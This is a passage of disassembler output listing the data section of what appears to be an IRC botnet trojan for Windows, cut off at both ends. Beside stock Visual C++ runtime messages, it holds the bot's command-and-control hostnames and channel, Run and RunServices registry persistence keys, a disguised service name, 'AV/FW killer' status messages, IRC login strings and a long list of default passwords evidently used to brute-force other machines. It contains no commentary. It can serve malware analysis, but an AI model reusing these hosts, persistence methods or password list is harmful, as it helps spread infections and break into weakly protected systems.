sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4ECo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAF4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAF4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DB0C ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DB0C dd offset dword_427D98+4 off_427DC0 dd offset off_43DB2C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB2C dd offset unk_427DE8 off_427E0C dd offset off_43DB4C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB4C dd offset dword_427E30+4 off_427E58 dd offset off_43DB70 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB70 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAF4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAF4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DB0C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB2C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB4C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 5 dup(623FA05Fh), 5 dup(9F226D0h), 75h dup(0) dd 9F226D0h, 15h dup(0) dd 623FA05Fh, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset byte_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aSaber2_ircqfor db 'saber2.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 10h aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E8 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_42910C db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch, 429910h dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h, 4298DCh dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h, 4298A4h dd 4298A0h, 429898h, 429894h, 0 dd offset byte_43DB98 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_4294D0 dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294BCo align 10h aLan db 'lan',0 ; DATA XREF: ___:004294B4o aMain db 'main',0 ; DATA XREF: ___:004294B0o align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294ACo aBlank db 'blank',0 ; DATA XREF: ___:004294A8o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A4o align 4 aControl db 'control',0 ; DATA XREF: ___:004294A0o aXp db 'xp',0 ; DATA XREF: ___:0042949Co align 10h aNokia db 'nokia',0 ; DATA XREF: ___:00429498o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429494o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:00429490o aCompaq db 'compaq',0 ; DATA XREF: ___:0042948Co align 4 aDell db 'dell',0 ; DATA XREF: ___:00429488o align 4 aCisco db 'cisco',0 ; DATA XREF: ___:00429484o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:00429480o aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429478o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o align 10h aSql db 'sql',0 ; DATA XREF: ___:00429470o aSa db 'sa',0 ; DATA XREF: ___:0042946Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429468o align 10h aDb1 db 'db1',0 ; DATA XREF: ___:00429460o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:0042945Co align 4 aData db 'data',0 ; DATA XREF: ___:00429458o align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429454o align 10h aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429450o align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:0042944Co align 4 aAccess db 'access',0 ; DATA XREF: ___:00429448o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429440o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:0042943Co align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429438o align 10h aHello db 'hello',0 ; DATA XREF: ___:00429434o align 4 aHell db 'hell',0 ; DATA XREF: ___:00429430o align 10h aGod db 'god',0 ; DATA XREF: ___:0042942Co aSex db 'sex',0 ; DATA XREF: ___:00429428o ; ___:off_438A78o aSlut db 'slut',0 ; DATA XREF: ___:00429424o align 10h aBitch db 'bitch',0 ; DATA XREF: ___:00429420o align 4 aFuck db 'fuck',0 ; DATA XREF: ___:0042941Co align 10h aExchange db 'exchange',0 ; DATA XREF: ___:00429418o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429414o align 4 aTechnical db 'technical',0 ; DATA XREF: ___:00429410o align 10h aLoginpass db 'loginpass',0 ; DATA XREF: ___:0042940Co align 4 aLogin db 'login',0 ; DATA XREF: ___:00429408o align 4 aMary db 'mary',0 ; DATA XREF: ___:00429404o align 4 aKatie db 'katie',0 ; DATA XREF: ___:00429400o align 4 aKate db 'kate',0 ; DATA XREF: ___:004293F8o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F4o align 4 aEric db 'eric',0 ; DATA XREF: ___:004293F0o align 4 aChris db 'chris',0 ; DATA XREF: ___:004293ECo align 4 aIan db 'ian',0 ; DATA XREF: ___:004293E8o aNeil db 'neil',0 ; DATA XREF: ___:004293E4o align 10h aLee db 'lee',0 ; DATA XREF: ___:004293E0o aBrian db 'brian',0 ; DATA XREF: ___:004293DCo align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D4o align 4 aSue db 'sue',0 ; DATA XREF: ___:004293D0o aSam db 'sam',0 ; DATA XREF: ___:004293CCo aLuke db 'luke',0 ; DATA XREF: ___:004293C8o align 4 aPeter db 'peter',0 ; DATA XREF: ___:004293C4o ; ___:004293D8o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293C0o align 4 aMike db 'mike',0 ; DATA XREF: ___:004293BCo align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B8o align 4 aFred db 'fred',0 ; DATA XREF: ___:004293B4o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293B0o aJen db 'jen',0 ; DATA XREF: ___:004293ACo aBob db 'bob',0 ; DATA XREF: ___:004293A8o ; ___:004293FCo aQwe db 'qwe',0 ; DATA XREF: ___:004293A4o aZxc db 'zxc',0 ; DATA XREF: ___:004293A0o aAsd db 'asd',0 ; DATA XREF: ___:0042939Co aQaz db 'qaz',0 ; DATA XREF: ___:00429398o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429394o aWinnt db 'winnt',0 ; DATA XREF: ___:00429390o align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:0042938Co align 10h aWin2k db 'win2k',0 ; DATA XREF: ___:00429388o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429384o align 10h aWindows db 'windows',0 ; DATA XREF: ___:00429380o aOeminstall db 'oeminstall',0 ; DATA XREF: ___:0042937Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: ___:00429378o aOem db 'oem',0 ; DATA XREF: ___:00429374o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:00429370o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:0042936Co align 4 aHome db 'home',0 ; DATA XREF: ___:00429368o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429364o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:00429360o align 4 aInternet db 'internet',0 ; DATA XREF: ___:0042935Co ; ___:004294B8o align 10h aWww db 'www',0 ; DATA XREF: ___:00429358o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429354o aOutlook db 'outlook',0 ; DATA XREF: ___:00429350o aMail db 'mail',0 ; DATA XREF: ___:0042934Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429348o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:00429344o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:0042933Co align 10h aSystem db 'system',0 ; DATA XREF: ___:00429338o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:00429330o align 4 aLinux db 'linux',0 ; DATA XREF: ___:0042932Co align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429328o align 4 aDemo db 'demo',0 ; DATA XREF: ___:00429324o align 4 aNone db 'none',0 ; DATA XREF: ___:00429320o align 4 aTest db 'test',0 ; DATA XREF: ___:00429318o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429314o align 4 a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:00429310o align 4 a2002 db '2002',0 ; DATA XREF: ___:0042930Co align 4 a2001 db '2001',0 ; DATA XREF: ___:00429308o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429304o align 4 a1234567890 db '1234567890',0 ; DATA XREF: ___:00429300o align 10h a123456789 db '123456789',0 ; DATA XREF: ___:004292FCo align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F8o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F4o a123456 db '123456',0 ; DATA XREF: ___:004292F0o align 4 a12345 db '12345',0 ; DATA XREF: ___:004292ECo align 10h a1234 db '1234',0 ; DATA XREF: ___:004292E8o align 4 a123 db '123',0 ; DATA XREF: ___:004292E4o a12 db '12',0 ; DATA XREF: ___:004292E0o align 10h a1: ; DATA XREF: ___:0040AFC7o ; ___:004292DCo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D8o aPwd db 'pwd',0 ; DATA XREF: ___:004292D4o aPass db 'pass',0 ; DATA XREF: ___:004292D0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292CCo align 10h aPasswd db 'passwd',0 ; DATA XREF: ___:004292C8o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C4o align 4 aPassword1 db 'password1',0 ; DATA XREF: ___:004292C0o align 10h aAdm db 'adm',0 ; DATA XREF: ___:004292BCo aDb2 db 'db2',0 ; DATA XREF: ___:00429464o aOracle db 'oracle',0 ; DATA XREF: ___:0042947Co align 10h aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429444o align 10h aDefault db 'default',0 ; DATA XREF: ___:00429334o aGuest_0 db 'guest',0 ; DATA XREF: ___:0042931Co align 10h aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C4o aStudent db 'student',0 ; DATA XREF: ___:004294C0o aOwner db 'owner',0 align 4 aComputer db 'computer',0 align 10h aRoot db 'root',0 ; DATA XREF: ___:00429340o align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C8o align 10h aAdmin db 'admin',0 ; DATA XREF: ___:004292B8o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B4o align 10h aAdministrat db 'administrat',0 ; DATA XREF: ___:004292B0o aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292ACo align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A4o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A0C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A38 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A78 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A9C dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB8 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC4 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429ACC dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD4 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o 